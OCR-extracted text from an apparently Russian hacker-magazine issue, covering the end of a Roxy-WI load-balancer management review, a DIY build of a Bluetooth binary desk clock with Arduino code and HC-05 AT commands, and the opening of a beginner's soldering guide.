ного . Образ устро ен по прин ципу bring your own license — поль- 
зователь пла тит за ресур сы EC2, но не за исполь зование ПО. В нас тоящий
момент в этом обра зе уста нов лена вер сия 5.2.0, в то вре мя как самая све- 
жая — 6.0.1.

об раза

В интерфей се Roxy-WI есть опция про вер ки и уста нов ки обновле ний,
но нет опций нас трой ки име ни поль зовате ля и пароля для дос тупа к репози- 
торию, так что нас тра ивать их при дет ся вруч ную, в  или в 

.
/etc/yum.repos.d /

etc/apt/auth.conf.d

ÂÍÓÒÐÅÍÍßß ÑÒÐÓÊÒÓÐÀ

Про ект Roxy-WI написан на Python 3, так что прек ращение под дер жки Python
2.7 его никак не зат ронуло.

Код и дан ные уста нав лива ются в каталог  —

в невиди мых для поль зовате ля час тях еще сох ранилось ста рое имя про екта.

/var/www/haproxy-wi/app/

Собс твен ного сер виса у интерфей са Roxy-WI нет, он полага ется
на Apache HTTPD и генери рует кон фиг в .
Веб-при ложе ние орга низо вано весь ма необыч ным для нашего вре мени спо- 
собом — в виде набора скрип тов CGI. С одной сто роны, про цесс Roxy-WI
не может упасть, потому что каж дый скрипт выпол няет ся веб-сер вером
отдель но. С дру гой — все недос татки CGI оста ются в силе: на запуск скрип- 
тов нуж но вре мя, и это отри цатель но ска зыва ется на отзывчи вос ти интерфей- 
са.

/etc/httpd/conf.d/roxy-wi.conf

Для хра нения дан ных Roxy-WI по умол чанию исполь зует SQLite. Дан ные
о поль зовате лях, сер верах и про чих сущ ностях хра нят ся в фай ле 

. Вооб ще, все дан ные Roxy-WI хра нит в катало- 
ге при ложе ния: зак рытые клю чи для SSH в , кон- 

фиги сер веров в  и так далее.

/var/www/
haproxy-wi/app/roxy-wi.db

/var/www/haproxy-wi/keys/
/var/www/haproxy-wi/configs/

Пуб личный дос туп к этим катало гам зап рещен толь ко дирек тивами 
 в нас трой ках Apache HTTPD, поэто му с нас трой ками и путями нуж но

быть вни матель ным, если вдруг захочет ся их поменять.

Deny 
from all

До пус кать утеч ку фай ла  катего ричес ки нель зя, пос коль ку

пароли поль зовате лей в нем хра нят ся в виде хешей MD5 без исполь зования
соли и уяз вимы даже к прос тей шей ата ке по радуж ным таб лицам.

roxy-wi.db

С дру гой сто роны, для резер вно го копиро вания или перено са уста нов ки
Roxy-WI на дру гой сер вер дос таточ но заар хивиро вать каталог 

, что про ще, чем если бы дан ные были раз бро саны по мно жес тву

катало гов. Но иде аль ным вари антом все рав но пред став ляет ся отдель ный
каталог с дан ными, вро де , — хочет ся верить, что будущие
вер сии пой дут имен но этим путем.

/var/www/
haproxy-wi

/var/lib/roxy-wi

Кро ме SQLite, есть под дер жка MySQL. Перей ти с SQLite на MySQL мож но
пос ле уста нов ки. В веб-интерфей се опций для этой цели нет, при дет ся пра- 
вить файл нас тро ек  и ини циали- 

зиро вать базу, запус тив скрипт.

/var/www/haproxy-wi/app/roxy-wi.cfg

ÂÅÁ-ÈÍÒÅÐÔÅÉÑ

В интерфей се Roxy-WI мож но най ти ряд отличных идей. Нап ример, если
какой-то раз дел нас тро ек пуст, то поль зовате лю показы вают не прос то пус- 
тую стра ницу, а стра ницу с виде оинс трук цией о том, как исполь зовать этот
раз дел.

Пус тая стра ница с виде оинс трук цией

С дру гой сто роны, в интерфей се пока что мно го шерохо ватос тей. К при меру,
поля для вво да адре сов IP или домен ных имен выда ют нес пецифич ную ошиб- 
ку, если до или пос ле адре са ока зал ся про бел. Поле для вво да часово го
пояса тре бует от поль зовате ля стро ку для tzdata вро де  —

ни выпада юще го спис ка, ни авто допол нения. Ряд полей, нап ример
ldap_enable, тре буют от поль зовате ля ввес ти 0 (disable) или 1 (enable), хотя
гораз до логич нее был бы чек бокс. Ины ми сло вами, поль зовать ся мож но,
но прос тор для мел ких улуч шений боль шой.

Europe/Moscow

ÂÎÇÌÎÆÍÎÑÒÈ

Те перь давай гля нем на собс твен но воз можнос ти работы с сер верами. Заяв- 
ленный спи сок весь ма вну шите лен: Roxy-WI в той или иной сте пени спо собен
управлять нас трой ками и HAProxy, и Apache HTTPD, и Nginx.

Мы в деталях рас смот рим базовую фун кци ональ ность, нас коль ко поз воля- 
ет объ ем статьи. Перед тем как что-либо нас тра ивать, нуж но рас ска зать
Roxy-WI о сер верах нашего клас тера.

Âçàèìîäåéñòâèå ñ ñåðâåðàìè

Вза имо дей ствие с сер верами про исхо дит по SSH. Перед тем как добав лять
сер веры, нуж но заг рузить зак рытые клю чи для под клю чения к ним. Диалог
добав ления поль зовате ля и клю ча исполь зует не слиш ком инту итив ную
и стан дар тную тер миноло гию: поле name — это имя набора дан ных
для аутен тифика ции (зак рытого клю ча и име ни поль зовате ля), а поле
credential — имя поль зовате ля, с которым Roxy-WI будет под клю чать ся к сер- 
веру. Заг рузить сам ключ мож но толь ко пос ле соз дания записи для него.
Добав ление клю чей, конеч но, не час тая опе рация, но интерфейс опять же
мож но улуч шить.

Ди алог добав ления дан ных дос тупа

Ди алог заг рузки клю ча

До бав ление сер веров не пред став ляет никакой слож ности. Раз ве что может
понадо бить ся обно вить стра ницу вруч ную, что бы уви деть добав ленный сер- 
вер.

Ди алог добав ления дан ных дос тупа

По радо вала воз можность сра зу про верить под клю чение по SSH: что бы убе- 
дить ся, что имя поль зовате ля и ключ вер ные, дос таточ но нажать кноп ку Check
рядом с полем Credentials.

За пись в спис ке сер веров

Ус тановить HAProxy на све жий сер вер Roxy-WI может авто мати чес ки, что
силь но эко номит вре мя адми ну.

Ав томати чес кая уста нов ка Apache HTTPD в текущей вер сии не под держи- 
вает ся — веро ятно, она появит ся в будущих вер сиях. C Nginx у меня тоже воз- 
никла проб лема — на Ubuntu 22 LTS он не уста новил ся — ни с «Докером»,
ни без.

Ошиб ка уста нов ки

Но добав ление сер веров, конеч но, все го лишь вспо мога тель ная фун кция.
Нас тоящие пре иму щес тва Roxy-WI вид ны в его под ходе к работе с кон- 
фигами.

Ðàáîòà ñ êîíôèãàìè

На ибо лее раз вито управле ние имен но HAProxy, пос коль ку изна чаль но про ект
кон цен три ровал ся на нем. Фун кции для работы с Nginx и Apache HTTPD
активно раз вива ются и пока усту пают интерфей су для HAProxy. Тем не менее
сама кон цепция управле ния кон фигами явно показы вает пре иму щес тва спе- 
циали зации и в ито ге впол не смо жет сос тавить кон курен цию решени ям в духе
infrastructure as code.

Кон фиги HAProxy мож но про верить на пра виль ность перед отправ кой
на сер вер. Понят но, что это обер тка для , но эко номия вре мени

оче вид на. Та же фун кция дол жна работать на Nginx (и быть ана логом 

), но у меня Roxy-WI про пус тил кон фиг с ошиб ками син такси са.

haproxy -c
nginx -

t
Ре дак тирова ние кон фигов весь ма про думан но. Веб-редак тор, конеч но,

никог да не срав нится с Vim, Emacs или VSCode в деле редак тирова ния тек- 
ста, но редак тор Roxy-WI ком пенси рует это спе циали заци ей. К при меру,
в режиме прос мотра мож но показать или свер нуть толь ко опре делен ные сек- 
ции кон фига, а в режиме редак тирова ния работа ет под свет ка син такси са.

Важ ная воз можность — авто мати чес кая реп ликация кон фигов на резер- 
вный сер вер и вер сиони рова ние. В рам ках под хода infrastructure as code
мы бы хра нили кон фиги или исходный матери ал для их соз дания в Git
и занима лись бы кон тро лем вер сий сами. Roxy-WI дела ет это за нас: каж дая
редак ция кон фига сох раня ется внут ри Roxy-WI и дос тупна для отка та, прос- 
мотра и срав нения с дру гими редак циями. Хотя Roxy-WI не исполь зует сис- 
тему кон тро ля вер сий и хра нит архивные кон фиги в обыч ных фай лах, он спо- 
собен показы вать раз личия меж ду вер сиями.

При мене ние сис темы кон тро ля вер сий сэконо мило бы мес то на дис ке
и упрости ло бы под дер жку опи саний изме нений — хочет ся уви деть это в
будущих вер сиях. В текущей вер сии под держи вает ся толь ко пери оди чес кое
резер вное копиро вание в уда лен ный репози торий Git и толь ко в вер сии
Enterprise.

Кро ме того, имен но для HAProxy в Roxy-WI есть широкий набор генера- 
торов сек ций кон фига.

Ге нера торы кон фигов HAProxy

От дель но при ятно то, что перед отправ кой сге нери рован ного кон фига
на сер вер мож но прос мотреть его текст, — это выгод но отли чает Roxy-WI
от про ектов, где про цесс для поль зовате ля неп розра чен.

ÄÎÏÎËÍÈÒÅËÜÍÛÅ ÑÅÐÂÈÑÛ È ÈÍÒÅÃÐÀÖÈÈ

Тем поль зовате лям, которые под держи вают про ект финан сово, дос тупны
не толь ко соб ранные пакеты с самим Roxy-WI, но и ряд допол нитель ных сер- 
висов. Я уже упо минал сер вис резер вно го копиро вания кон фигов, но им все
не огра ничи вает ся. Дру гой полез ный сер вис — Roxy-WI Checker, который
помога ет монито рить сер веры и рас сылать уве дом ления об инци ден тах.
Разуме ется, монито ринг и уве дом ление мож но нас тро ить и самому, бла го
инс тру мен тов для этих целей огромное количес тво. Пре иму щес тво Roxy-WI
Checker — в интегра ции с самим Roxy-WI. Ему авто мати чес ки ста новит ся
извес тно о сер верах клас тера и их сер висах, так что добав ление сер веров
в монито ринг перес тает быть отдель ной задачей. Сер вис может авто мати- 
чес ки отправ лять уве дом ление в каналы Slack или Telegram, дос таточ но ука- 
зать токен для их API. Кро ме того, уве дом ления о сер верах из раз ных групп
мож но отправ лять в раз ные каналы, что полез но орга низа циям с выделен- 
ными коман дами адми нов для раз ных час тей про екта.

ÏËÀÍÛ ÍÀ ÁÓÄÓÙÅÅ

Про ект Roxy-WI не сто ит на мес те и пос тоян но раз вива ется. Авто ры пла ниру- 
ют в будущих вер сиях добавить новые воз можнос ти нас трой ки отка зоус той- 
чивос ти с помощью Keepalived, под дер жку WAF (Web Application Firewall)
для Nginx, а так же сущес твен но улуч шить работу с Apache HTTPD (нап ример,
под дер жку сбо ра ста тис тики и резер вно го копиро вания кон фигов). Обе щают
испра вить и недос татки интерфей са и в целом собира ются его улуч шить.

ÇÀÊËÞ×ÅÍÈÅ

Roxy-WI, безус ловно, мно гообе щающий про ект. Задача нас трой ки и управле- 
ния клас терами веб-сер веров — слож ная и акту аль ная, и удач ное решение
для ее авто мати зации может сэконо мить адми нам мно го вре мени и убе речь
их от оши бок. На дан ный момент Roxy-WI хорошо справ ляет ся с авто мати- 
заци ей нас трой ки HAProxy и дви жет ся в сто рону пол ного решения
для управле ния все ми ком понен тами клас тера.

Тем не менее Roxy-WI — помощ ник адми на клас тера, а не аль тер натива
ему. Никакой инс тру мент не заменит собс твен ные зна ния и опыт!

mailto:daniil@baturin.org
https://roxy-wi.org/
https://github.com/hap-wi/roxy-wi/
https://roxy-wi.org/installation.py#manual
https://aws.amazon.com/marketplace/pp/prodview-ru3qqavgnxoxc
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Есть мно жес тво спо собов опре делять вре мя: по сол нцу,
по часам на компь юте ре, по запаху обе да у соседей.
Но пожалуй, самый хакер ский — это бинар ные часы. Вмес то
обыч ного цифер бла та у них дво ичный. Циф ры зашиф рованы
с помощью двух эле мен тов — нуля и еди ницы, а для инди- 
кации мож но исполь зовать любой бинар ный приз нак. В этой
статье я покажу, как самос тоятель но сде лать бинар ные
часы, которые будут сто ять у тебя на сто ле и управлять ся
по Bluetooth.

По спо собу инди кации вре мени бинар ные часы раз деля ют на три груп пы.
Пер вая — с дву мя рядами диодов: часы и минуты.

Ча сы с дву мя рядами све тоди одов

Вто рая — с тре мя рядами диодов: часы, минуты, секун ды.

Ча сы с тре мя рядами све тоди одов

Третья — с кру говым рас положе нием диодов.

Ча сы с кру говым рас положе нием све тоди одов

В каж дом из вари антов вре мя опре деля ется по сум ме горящих диодов,
а глав ное раз личие часов сос тоит в их внеш нем виде. Спо собы под сче та
отли чают ся нез начитель но.

Кру говое рас положе ние диодов копиру ет дизайн стре лоч ных часов.
На цифер бла те вид но два кру га све тоди одов — внеш ний с малень кими кру- 
жоч ками и внут ренний с боль шими. Круп ные кру ги соот ветс тву ют часам
и рас полага ются так же, как в обыч ных моделях: ввер ху две над цать часов,
вни зу — шесть, спра ва — три, сле ва — девять.

В цен тре цифер бла та в ряд рас положе ны еще четыре лам почки. С их
помощью мож но опре делить еди ницы минут от одной до четырех. Для это го
нуж но добавить зна чение пятими нут ного интерва ла к зна чению горяще го
диода в ряду.

Ча сы с тре мя рядами све тоди одных огней — это ряды из две над цати, пяти
и девяти диодов, над которы ми рас положен ряд чисел от одно го до две над- 
цати.

Пер вая стро ка соот ветс тву ет количес тву часов, во вто рой отоб ража ются
пол ные десят ки минут, а в треть ей — еди ницы минут. Каж дый ого нек соот- 
ветс тву ет циф ре, поэто му для опре деле ния вре мени дос таточ но сопос тавить
зна чения всех трех строк.

Ча сы с дву мя строч ками диодов — самая слож ная из бинар ных сис тема
опре деле ния вре мени. Она пол ностью соот ветс тву ет сво ему наз ванию:
в ряду рас полага ется от двух до четырех лам почек, каж дая лам почка — двой- 
ка в опре делен ной сте пени.

Пер вый диод равен еди нице, вто рой — двум, тре тий — четырем, а чет- 
вертый — вось ми. Во вто рой стро ке по такому же прин ципу рас положе ны
чис ла , , , ,  и .1 2 4 8 16 32

Что бы опре делить вре мя с помощью такой шка лы, необ ходимо сло жить
циф ры, соот ветс тву ющие горящим диодам. Имен но такие часы мы и будем
собирать сегод ня.

Под робнее о бинар ных часах я писал в статье «
». В ком мента риях меня спра шива ли,

будет ли внед рение Bluetooth сле дующим шагом в доработ ке таких часов.
Почему бы и нет! Отличная задача для наших очу мелых ручек.

Ча сы для гика. Под бира ем
ком понен ты и мас терим бинар ные часы

ÑÁÎÐÊÀ ÍÀ×ÈÍÊÈ

Для сбор ки устрой ства я исполь зовал:
мо дуль Bluetooth HC-05;•
Arduino Pro mini;•
мо дуль RTC DS32431;•
маг нитный кабель заряд ки для смар тфо на;•
ад ресную све тоди одную лен ту RGB WS2812 — 144 све тоди ода на метр;•
нес коль ко резис торов и соеди нитель ных про водов.•

Со бирать все буду навес ным мон тажом без исполь зования общей печат ной
пла ты, что бы сэконо мить вре мя и день ги. Как ты уже мог догадать ся, кор пус
будет пол ностью напеча тан на 3D-прин тере.

Для пра виль ного соеди нения всех элек трон ных модулей в общую элек три- 
чес кую цепь вос поль зуем ся схе мой.

Прин ципи аль ная элек три чес кая схе ма бинар ных часов

И прой дем ся по ее ком понен там:
мик рокон трол лер — Arduino Pro mini, обоз начен крас ным цве том;•
U2 — модуль Bluetooth;•
U1 — модуль RTC DS3231;•
BT1 — батарей ка для питания RTC-модуля во вре мя, ког да отклю чено
основное питание (для сох ранения и под сче та текуще го вре мени);

•

с U3 по U38 — адресная све тоди одная RGB-лен та WS2812;•
R1, R2, R3 — резис торы;•
C1 — кон денса тор;•
+5V — шина с питани ем схе мы;•
GND — зем ля.•

Пе ред тем как запа ять модуль Bluetooth в нашу схе му, необ ходимо про верить
его на работос пособ ность. По желанию мож но изме нить его имя: для это го
нам понадо бят ся нес коль ко . Что бы про верить связь с Bluetooth,
отправь тес товую коман ду AT: для это го вве ди текст  и наж ми Enter. Если

связь уста нов лена кор рек тно, то модуль отве тит .

AT-команд
AT

OK
Пос ле это го мож но отправ лять осталь ные AT-коман ды. Нас тра ивают

модуль в режиме прог рамми рова ния, отправ ляя AT-коман ды по пос ледова- 
тель ному пор ту.

Под клю чим модуль HC-05 к пла те Arduino по схе ме ниже — кон такт RX
под клю чаем к десято му пину на Arduino, соот ветс твен но, TX под клю чаем
на один надца тый кон такт Arduino. На кон такт KEY модуля подадим 3,3 В. AT-
коман ды будем отправ лять из монито ра пос ледова тель ного пор та Arduino
IDE.

Заг рузим в Arduino скетч из лис тинга, при веден ного ниже. Для это го нам
понадо бит ся биб лиоте ка . Ско рость модуля UART в режиме
прог рамми рова ния — 9600 бод, но у тебя ско рость переда чи может отли- 
чать ся, поэто му в слу чае неуда чи сле дует подоб рать .

SoftwareSerial

дру гое зна чение

Схе ма про вер ки Bluetooth-модуля

 include <SoftwareSerial.h>

   SoftwareSerial BTserial(10, 11); // Указываем пины RX и TX 
соответственно

   void setup() {
 Serial.begin(9600);
 BTserial.begin(9600);
 Serial.println("start");
}

  void loop() {
   if (BTserial.available()) {
       char c = BTserial.read(); // Читаем из Bluetooth-порта
    Serial.print(c); // Пишем в hardware-порт
 }
   if (Serial.available()) {
       char c = Serial.read(); // Читаем из hardware-порта
    BTserial.write(c); // Пишем в Bluetooth-порт
 }
}

Что бы удоб нее соп рягать часы со смар тфо ном, поменя ем наз вание модуля
Bluetooth со стан дар тно го Bluetooth HC-05 на BinaryWatch. Для это го вос- 
поль зуем ся AT-коман дой ( ).PDF

              AT + NAME = "BinaryWatch" \ r \ n — задает имя устройства как
BinaryWatch;
OK

Ос таль ные AT-коман ды для нас трой ки это го и ана логич ных Bluetooth-модулей
при веде ны вни зу статьи.

Про верив модуль Bluetooth на работос пособ ность и изу чив схе му, мы
можем спа ять ком понен ты наших часов. Ког да все будет готово, залива ем
в Arduino про шив ку с помощью Arduino IDE v1.8.19 и уста нав лива ем при ложе- 
ние для управле ния в смар тфон. Исходные коды про шивок и при ложе ния я
при веду в кон це статьи.

Вот как это выш ло у меня.

Тес товая сбор ка схе мы

Я отре зал от све тоди одной лен ты 35 све тоди одов, а пос ле раз резал их
на две час ти: четыр надцать штук я буду исполь зовать для инди кации часов,
двад цать одну для под свет ки минут. Све тоди оды я вкле ил в алю мини евый
про филь и заизо лиро вал кон цы про филя, что бы не было корот кого замыка- 
ния.

Све тоди одная лен та WS2812

Све тоди одная лен та в про филе

При мер ка про филя в све товод

На этом работы с элек трон ной частью закон чены. Оста лось толь ко уко ротить
про вода, соеди няющие все модули, и заизо лиро вать их, что бы они без проб- 
лем помес тились в кор пус.

Элек тро ника в кор пусе

Продолжение статьи →

mailto:big-jaw@mail.ru
https://xakep.ru/2020/08/17/geek-watch/
https://ru.wikipedia.org/wiki/AT-%D0%BA%D0%BE%D0%BC%D0%B0%D0%BD%D0%B4%D1%8B
https://docs.arduino.cc/learn/built-in-libraries/software-serial
https://arduinomaster.ru/program/arduino-serial-begin-9600/
https://s3-sa-east-1.amazonaws.com/robocore-lojavirtual/709/HC-05_ATCommandSet.pdf


ЧАСЫ ДЛЯ ГИКА 2.0
ПРОЕКТИРУЕМ И СОБИРАЕМ НАСТОЛЬНЫЕ

БИНАРНЫЕ ЧАСЫ С BLUETOOTH

GEEK  НАЧАЛО СТАТЬИ←

ÑÁÎÐÊÀ ÊÎÐÏÓÑÀ

Для модели рова ния кор пуса часов я исполь зовал САПР «Ком пас 3D».
Все исходни ки 3D-моделей я оставлю в двух фор матах: M3D — натив ный

фор мат «Ком паса», их ты смо жешь редак тировать и дораба тывать на свой
вкус, STL — готовые фай лы для печати. Печатал я плас тиком PLA, тем перату- 
ра экс тру дера и сто ла — 200 °C и 60 °C на 3D-прин тере Anycubic Mega Zero
2.0. Запол нение деталей варь иро вал от 30 до 100%.

Ма тери алы, необ ходимые при сбор ке часов:
при мер но 200 г плас тика, я исполь зовал PLA, но подой дет и любой дру гой;•
шесть вин тов с резь бой M4 дли ной не менее 55 мм;•
алю мини евый про филь для све тоди одной лен ты, отре зать по раз мерам
све тоди одов;

•

све торас сеивающая плен ка — ее мож но вытащить из ста рой нерабо- 
тающей мат рицы ноут бука или монито ра;

•

за тем ненный плас тик я брал из полуп розрач ного чех ла телефо на, мож но
заменить кус ком монолит ного поликар боната;

•

гер метик для вклей ки плас тика в рам ку часов;•
маг нитный кабель microUSB для смар тфо на — будем исполь зовать
для питания часов.

•

Те перь печать. В архи ве ты най дешь восемь фай лов, давай их рас смот рим.

Рам ка экра на — Front01.m3d

Окан товка экра на — Ramka_01.m3d

Ос новная часть кор пуса — Korpus01.m3d

Зад няя крыш ка кор пуса — Zad01.m3d

Тра фарет, экран для под свет ки — Tablo_01.m3d

Све тово ды для минут и для часов

Креп ление для маг нитно го USB-кон некто ра встав ляет ся в зад нюю крыш -
ку кор пуса

Что бы вста вить маг нитный разъ ем microUSB в креп ление в кор пусе часов,
нуж но акку рат но отпа ять разъ ем microUSB от маг нитной голов ки, под паять
к нему два про вода +5V и GND. А пос ле под паять их к соб ранной нами схе ме.

Маг нитный разъ ем microUSB

Маг нитный разъ ем пос ле уста нов ки в кор пус, вид сна ружи

Маг нитный разъ ем пос ле уста нов ки в кор пус, вид изнутри

Те перь мож но собирать кор пус: в тра фарет встав ляем и защел кива ем све- 
тово ды для минут и часов. Для луч шей све топ роводи мос ти их желатель но заг- 
рунто вать и пок расить в белый матовый цвет изнутри. Скру чива ем все час ти
кор пуса вин тами M4 в таком поряд ке:
1. Рам ка экра на.
2. Тра фарет, экран вмес те со встав ленны ми в него све тово дами.
3. Ос новная часть кор пуса.
4. Вся элек тро ника.
5. Зад няя крыш ка с маг нитным разъ емом.

Тра фарет со встав ленны ми в него све тово дами, вид свер ху

Тра фарет со встав ленны ми в него све тово дами, вид сни зу

При меряю рам ку экра на

На ношу гер метик на рам ку экра на для вклей ки стек ла

Ос тавляю высыхать гер метик на сут ки

Рам ка экра на в сбо ре

В рам ку экра на на гер метик или спе циали зиро ван ный клей B7000 (или ана- 
логич ный) вкле им полуп розрач ный плас тик вмес те с рас сеивающей плен кой.
Я дос тал его из чех ла для телефо на, но его мож но и при обрести.

И вот резуль тат!

Я  для тебя готовое при ложе ние, которое ты можешь уста новить
на свой смар тфон. Оно написа но на Delphi — с помощью Embarcadero RAD
Studio Delphi 10.4, исходные коды тоже в архи ве.

вы ложил

С помощью это го при ложе ния под клю чаем часы к смар тфо ну через
Bluetooth и нас тра иваем под свет ку на свой вкус.

В при ложе нии есть две вклад ки — одна для нас трой ки под клю чения
к часам, дру гая — для нас трой ки вре мени и управле ния под свет кой
и режима ми инди кации.

При ложе ние

ÂÛÂÎÄÛ

Мы спро екти рова ли и соб рали уни каль ные нас толь ные бинар ные часы
с управле нием со смар тфо на через Bluetooth. В тво ем рас поряже нии все
исходни ки: ты можешь пов торить мой про ект или соз дать свой на его осно ве.

WWW

•Arduino Pro Mini
•Ар хив исходни ков
•Маг нитный кабель microUSB
•Че хол, который я исполь зовал
•Bluetooth HC-05
•Пол ный спи сок AT-команд для Bluetooth HC-05

https://cloud.mail.ru/public/Co8e/ZSh9VEWeb
https://www.youtube.com/watch?v=Z_RTW00PuQQ
https://aliexpress.ru/item/32890204657.html
https://cloud.mail.ru/public/Co8e/ZSh9VEWeb
https://aliexpress.ru/item/4000155537578.html
https://aliexpress.ru/item/4000155537578.html
https://aliexpress.ru/item/4000587203886.html
https://s3-sa-east-1.amazonaws.com/robocore-lojavirtual/709/HC-05_ATCommandSet.pdf
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Уметь паять неверо ятно полез но: ты можешь самос тоятель- 
но чинить элек три чес кие устрой ства или соз давать собс- 
твен ные. Навер няка в детс тве ты дер жал в руках паяль ник,
но если с тех пор так и не разоб рался, как паять пра виль но,
то эта статья для тебя. В ней я рас ска жу о тон костях пай ки
мед ных ком понен тов, о необ ходимом обо рудо вании
и навыках. Сегод ня ты пой мешь, что пай ка — это вов се
не слож но!

Пай ка — это спо соб соеди нения метал личес ких эле мен тов с помощью при- 
поя, сде лан ного из дру гих метал лов, с мень шей тем перату рой плав ления.
Этот спо соб исполь зует ся во всех элек три чес ких устрой ствах. Если ты рас- 
потро шишь, нап ример, каль кулятор, внут ри ты уви дишь, что абсо лют но все
элек трон ные ком понен ты внут ри него спа яны меж ду собой. Это логич но, ведь
соеди нение метал личес ких эле мен тов, одна из задач которых — про водить
ток, дру гим токоп роводя щим метал лом будет гораз до эффектив нее, чем
соеди нение, нап ример, кле ем.

ÏÀßËÜÍÈÊ ÂÑÅÌÓ ÃÎËÎÂÀ

Нач нем с глав ного инс тру мен та — паяль ника. Он нужен, что бы наг ревать при- 
пой до тем перату ры плав ления, если ком понен ты мед ные (а кон такты элек- 
трон ных ком понен тов, как пра вило, дела ются имен но из меди) — обыч но
от 100 до 400 гра дусов. Паяль ники быва ют раз ные, начиная от ста рых совет- 
ских, без еди ной кноп ки управле ния (вот кнул в розет ку и ждешь, пока наг- 
реет ся), и закан чивая наворо чен ными паяль ными стан циями с экра нами
и тум бле рами, где есть еще и паяль ный фен. Давай рас смот рим виды паяль- 
ников под робнее.

Ïàÿëüíèê ñ íèõðîìîâûì íàãðåâàòåëåì

В ста ром совет ском паяль нике находит ся наг реватель из них ромовой про- 
воло ки, через который про пус кает ся ток. Про воло ка намота на на не про водя- 
щий ток кор пус, внутрь которо го встав лено жало. В прод винутых вер сиях
такого паяль ника есть регули ров ка тем перату ры, что сущес твен но облегча ет
работу с при поями из метал лов с раз ной тем перату рой плав ления, о которых
погово рим чуть поз же.

Па яль ник с них ромовым наг ревате лем

Сто ят такие паяль ники дешево, при бора за 500 руб лей и мощ ностью 20 Вт
впол не хва тит для нечас тых и неболь ших работ (прав да, тол стые про вода
паять таким паяль ником будет нелег ко). Подоб ные паяль ники проч ны и неп- 
рихот ливы, но они дол го наг рева ются, и высокой про изво дитель нос ти от них
ждать не сто ит.

Ïàÿëüíèê ñ êåðàìè÷åñêèì íàãðåâàòåëåì

Внут ри такого паяль ника находит ся керами чес кий стер жень, который наг- 
рева ется, ког да к его кон тактам про водят нап ряжение. Такие паяль ники наг- 
рева ются гораз до быс трее, при дол жном ухо де они дол говеч нее и обла дают
более широким диапа зоном для регули ров ки тем перату ры и мощ ности.

Па яль ник с керами чес ким наг ревате лем

Есть у такого паяль ника и минусы — керами чес кий наг реватель не прис- 
пособ лен к физичес ким воз дей стви ям, а жала для такого паяль ника нуж ны
будут «род ные». Про жала погово рим поз же, а сей час перей дем к сле дующе- 
му виду паяль ников — индукци онно му.

Èíäóêöèîííûé ïàÿëüíèê

Внут ри него находит ся катуш ка индукто ра. У наконеч ника такого паяль ника
есть фер ромаг нитное пок рытие, в нем катуш ка соз дает маг нитное поле
с наведен ными токами, от чего сер дечник разог рева ется.

Ин дукци онный паяль ник и его устрой ство

При дос тижении опре делен ной тем перату ры (точ ки Кюри) фер ромаг нитное
пок рытие теря ет свои маг нитные свой ства и сер дечник перес тает наг ревать- 
ся. Как толь ко тем перату ра сни жает ся, фер ромаг нитные свой ства вос ста нав- 
лива ются и сер дечник сно ва начина ет наг ревать ся. В таком паяль нике тем- 
перату ра жала под держи вает ся авто мати чес ки без исполь зования тер модат- 
чика и управля ющей элек тро ники. Но из его прин ципа работы выходит глав- 
ный минус: для дос тижения раз ных тем ператур нуж ны раз ные жала.

Ãàçîâûé ïàÿëüíèê

Глав ное дос тоинс тво газово го паяль ника — его авто ном ность. В таком
паяль нике теп ло появ ляет ся за счет сго рания газа (зап равля ют из обыч ного
газово го бал лончи ка). Тон кую струй ку огня соз дает спе циаль ная насад ка,
без которой газовый паяль ник прев раща ется в горел ку.

Га зовый паяль ник

Òåðìîâîçäóøíàÿ ïàÿëüíàÿ ñòàíöèÿ

Та кой тип паяль ников пода ет нап равлен ный поток горяче го воз духа с регули- 
руемой тем перату рой от 100 до 500 гра дусов.

Тер мовоз душная паяль ная стан ция

В паяль ных стан циях обыч но есть паяль ник с керами чес ким наг ревате лем.
Лич но мой выбор — имен но такая стан ция. Паяль ный фен (так называ ют тер- 
мовоз душный паяль ник) очень полезен в быту. Нап ример, рас паивать мик- 
росхе мы (если нам надо отде лить спа янные эле мен ты) гораз до удоб нее
широким потоком горяче го воз духа, чем тон ким жалом обыч ного паяль ника.

Стан ции хороше го качес тва сто ят в нес коль ко раз дороже обыч ных паяль- 
ников, но, если ты паяешь час то, так же как и я, про ще пот ратить ся на нее и не
корячить ся с прос тым паяль ником.

Продолжение статьи →
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ÏÐÈÍÀÄËÅÆÍÎÑÒÈ ÄËß ÏÀÉÊÈ

Прос то купив паяль ник, нор маль но паять не получит ся, для ком фор тной
и пра виль ной пай ки пот ребу ется набор из рас ходни ков и инс тру мен тов.

В базовый набор вхо дят при пой, флюс или канифоль. С этим набором уже
мож но работать, но неп лохо будет докупить еще:

стрип пер (инс тру мент для зачис тки про водов от изо ляции) или хотя бы
бокоре зы;

•

цел люлоз ную необ гора емую губ ку для очис тки жала паяль ника;•
на бор тер моуса док;•
оп летку для уда ления лиш него при поя;•
пин цет или дер жатель с кро кодиль чиками, что бы фик сировать спа иваемые
детали;

•

под став ку под паяль ник (не будешь же ты все вре мя дер жать паяль ник
в руке?);

•

оло воот сос.•

Раз берем весь ком плект попод робнее.

Ïðèïîé

Как пра вило, для при поя берут сплав свин ца и оло ва. Это тон кая тру боч ка
с канифолью в цен тре. При пой пла вит ся при тем перату ре, получа емой
от разог ретого паяль ника, и скреп ляет токоп роводя щие эле мен ты ком понен- 
тов.

При пой

При пои про дают ся в раз ных упа ков ках и быва ют раз ных диамет ров.
Для начала я рекомен дую при обрести оло вян но-свин цовый при пой диамет-
ром 1 мм.

Ôëþñ è êàíèôîëü

Ес ли попытать ся сра зу скре пить два зачищен ных про вода, кап нув рас плав- 
ленным при поем, про вода скре пят ся очень пло хо. Дело в том, что металл,
из которо го сос тоят кон такты, вхо дит в реак цию с кис лородом из воз духа,
отче го на нем обра зует ся оксидная плен ка. Она и меша ет пра виль ному спа- 
ива нию кон тактов. Бороть ся с оксидной плен кой помога ют флюс и канифоль,
так же они спо собс тву ют качес твен ному рас пре деле нию при поя. Канифоль —
это дре вес ная смо ла, а флюс — ее рас твор в спир те.

Ка нифоль и флюс

Я советую исполь зовать флюс, потому что его рас ходу ется мень ше, чем
канифо ли, и на жале оста ется гораз до мень ше нагара. Мой выбор — флюс
ЛТИ-120. Это спир то-канифоль ный флюс. Спирт помога ет рас тво рять
оксидную плен ку и рав номер но рас пре делять канифоль по спа иваемой
повер хнос ти. Он про дает ся в удоб ных баноч ках с кис точкой и хорошо себя
зареко мен довал по харак терис тикам.

Ñòðèïïåð

Стрип пер

Стрип пер — это инс тру мент для удоб ной зачис тки кон цов паяемых про водов.
Зачищать кон такты мож но и обыч ными кусач ками, но, что бы осво ить этот
навык, пот ребу ется немало вре мени.

Ãóáêà

Тут все прос то. Часть при поя, канифо ли или флю са из-за высокой тем перату- 
